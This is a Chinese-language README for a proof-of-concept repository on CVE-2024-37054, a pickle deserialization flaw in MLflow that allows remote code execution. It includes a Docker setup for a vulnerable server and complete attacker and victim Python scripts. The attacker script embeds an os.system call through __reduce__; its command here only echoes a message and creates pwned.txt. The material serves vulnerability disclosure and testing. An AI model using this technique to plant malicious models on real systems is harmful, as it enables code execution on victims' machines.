
NiteeshPujari/CVE-2024-37054,该仓库包含针对 MLflow 中一个严重反序列化漏洞的概念验证(PoC),该漏洞允许远程代码执行(RCE)。
__ __ _ _____ _ ___ __ __
| \/ || | | ___|| | / _ \\ \ / /
| |\/| || | | |_ | | | | | |\ \ /\ / /
| | | || |___ | _| | |___| |_| | \ V V /
|_| |_||_____||_| |_____|\___/ \_/\_/
____ ____ _____ ____ ____
| _ \ / ___|| ____| | _ \ ___ / ___|
| |_) || | | _| | |_) |/ _ \ | |
| _ < | |___ | |___ | __/| (_) || |___
|_| \_\ \____||_____| |_| \___/ \____|
本仓库包含 CVE-2024-37054 的概念验证(PoC),这是 MLflow 中的一个严重反序列化漏洞,可实现远程代码执行(RCE)。
CVE-2024-37054mlflow.pyfunc.load_model 函数中存在一个反序列化漏洞。攻击者可以精心构造一个包含 pickle 负载的恶意模型。当受害者加载该模型时,负载会通过 cloudpickle.load 被反序列化,从而导致在受害者的机器上执行任意代码。0.9.0 到(但不包括)2.14.2 的版本。mlflow/pyfunc/model.py 中的 _load_pyfunc。该 PoC 模拟了两个角色:攻击者上传恶意模型,受害者加载该模型,从而触发 RCE。
搭建存在漏洞的 MLflow 服务器的最简单方式是使用提供的 Dockerfile。
构建并运行 Docker 容器:
# 1. Build the Docker image
docker build -t mlflow-vulnerable .
# 2. Run the container, mapping port 5000 to the host
docker run -p 5000:5000 --name mlflow-poc-server -it mlflow-vulnerable
你的存在漏洞的 MLflow 服务器现在运行在 http://127.0.0.1:5000。
你需要在主机上打开两个独立的终端。确保本地安装了存在漏洞的 mlflow 版本(pip install mlflow==2.14.1),以便运行客户端脚本。
在第一个终端中,运行攻击者的脚本以记录恶意模型。
# poc/log_malicious_model.py
import mlflow
import os
# The URI of your MLflow tracking server
MLFLOW_TRACKING_URI = "http://127.0.0.1:5000"
REGISTERED_MODEL_NAME = "rce-payload-model"
class MaliciousCodeWrapper(mlflow.pyfunc.PythonModel):
def __init__(self):
class CommandRunner:
def __reduce__(self):
cmd = 'echo ">>> RCE PAYLOAD EXECUTED SUCCESSFULLY <<<" && echo > pwned.txt'
return (os.system, (cmd,))
self.payload = CommandRunner()
def predict(self, context, model_input):
return "This model is a malicious payload."
if __name__ == "__main__":
mlflow.set_tracking_uri(MLFLOW_TRACKING_URI)
mlflow.set_experiment("Security Demos")
with mlflow.start_run() as run:
mlflow.pyfunc.log_model(
artifact_path="model",
python_model=MaliciousCodeWrapper(),
registered_model_name=REGISTERED_MODEL_NAME
)
print(f"[*] Malicious model '{REGISTERED_MODEL_NAME}' has been logged.")
运行:
python poc/log_malicious_model.py
在第二个终端中,运行受害者的脚本,以模拟加载该被篡改的模型。
# poc/load_vulnerable_model.py
import mlflow
MLFLOW_TRACKING_URI = "http://127.0.0.1:5000"
REGISTERED_MODEL_NAME = "rce-payload-model"
MODEL_VERSION = 1
if __name__ == "__main__":
mlflow.set_tracking_uri(MLFLOW_TRACKING_URI)
model_uri = f"models:/{REGISTERED_MODEL_NAME}/{MODEL_VERSION}"
print(f"[*] VICTIM: Attempting to load model from URI: {model_uri}")
print("[*] The payload will execute on the next line...")
try:
loaded_model = mlflow.pyfunc.load_model(model_uri)
print("\n[*] Model loaded successfully.")
except Exception as e:
print(f"\n[!] An error occurred: {e}")
运行:
python poc/load_vulnerable_model.py
运行受害者的脚本后,你将在终端中看到 /bin/sh: 1: >>> RCE PAYLOAD EXECUTED SUCCESSFULLY <<<: not found 消息,并且一个名为 pwned.txt 的新文件会在你的目录中被创建。这确认了命令成功执行。
此概念验证由 Pujari Niteesh 开发。